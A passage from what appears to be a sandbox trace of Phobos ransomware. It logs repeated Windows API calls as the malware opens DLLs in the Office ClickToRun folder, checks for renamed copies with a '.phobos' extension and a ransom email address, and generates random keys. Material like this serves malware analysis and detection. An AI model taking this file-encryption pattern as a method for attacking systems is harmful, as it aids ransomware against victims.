shared\\clicktorun\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.981] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0148.981] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0148.981] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=11616) returned 1 [0148.981] CloseHandle (hObject=0x528) returned 1 [0148.982] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll")) returned 0x20 [0148.982] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.982] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-core-xstate-l2-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.982] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0148.982] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0148.982] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19648) returned 1 [0148.982] CloseHandle (hObject=0x528) returned 1 [0148.982] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll")) returned 0x20 [0148.983] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.983] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-conio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-conio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.983] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0148.983] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0148.984] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=22720) returned 1 [0148.984] CloseHandle (hObject=0x528) returned 1 [0148.984] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll")) returned 0x20 [0148.984] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.984] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-convert-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-convert-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.984] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0148.984] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0148.986] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19136) returned 1 [0148.987] CloseHandle (hObject=0x528) returned 1 [0148.987] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll")) returned 0x20 [0148.987] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.987] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-environment-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-environment-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.987] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0148.987] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0148.988] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=20672) returned 1 [0148.988] CloseHandle (hObject=0x528) returned 1 [0148.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll")) returned 0x20 [0148.988] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.216] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-filesystem-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-filesystem-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.216] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.216] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.217] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19648) returned 1 [0149.217] CloseHandle (hObject=0x57c) returned 1 [0149.217] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll")) returned 0x20 [0149.217] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.217] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.217] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.218] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.218] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19136) returned 1 [0149.218] CloseHandle (hObject=0x57c) returned 1 [0149.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll")) returned 0x20 [0149.218] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.218] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.219] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.219] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.220] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=27840) returned 1 [0149.220] CloseHandle (hObject=0x57c) returned 1 [0149.220] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll")) returned 0x20 [0149.220] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.220] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.220] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.220] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.221] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=26816) returned 1 [0149.221] CloseHandle (hObject=0x57c) returned 1 [0149.221] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 0x20 [0149.221] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.221] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.221] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.222] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.222] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=70848) returned 1 [0149.222] CloseHandle (hObject=0x57c) returned 1 [0149.222] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll")) returned 0x20 [0149.222] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.222] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.222] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.223] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.223] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=19648) returned 1 [0149.223] CloseHandle (hObject=0x57c) returned 1 [0149.223] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll")) returned 0x20 [0149.223] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.223] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.223] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.224] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.225] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=23232) returned 1 [0149.225] CloseHandle (hObject=0x57c) returned 1 [0149.225] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 0x20 [0149.225] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.225] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.225] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.225] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.226] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=24768) returned 1 [0149.226] CloseHandle (hObject=0x57c) returned 1 [0149.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 0x20 [0149.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.226] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.226] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.226] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.227] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=24768) returned 1 [0149.227] CloseHandle (hObject=0x57c) returned 1 [0149.227] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll")) returned 0x20 [0149.227] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.227] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0149.228] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x3e9fce8 | out: pbBuffer=0x3e9fce8) returned 1 [0149.228] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x57c [0149.228] GetFileSizeEx (in: hFile=0x57c, lpFileSize=0x3e9fc88 | out: lpFileSize=0x3e9fc88*=21184) returned 1 [0149.228] CloseHandle (hObject=0x57c) returned 1 [0149.228] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll")) returned 0x20 [0149.228] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0149.228] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 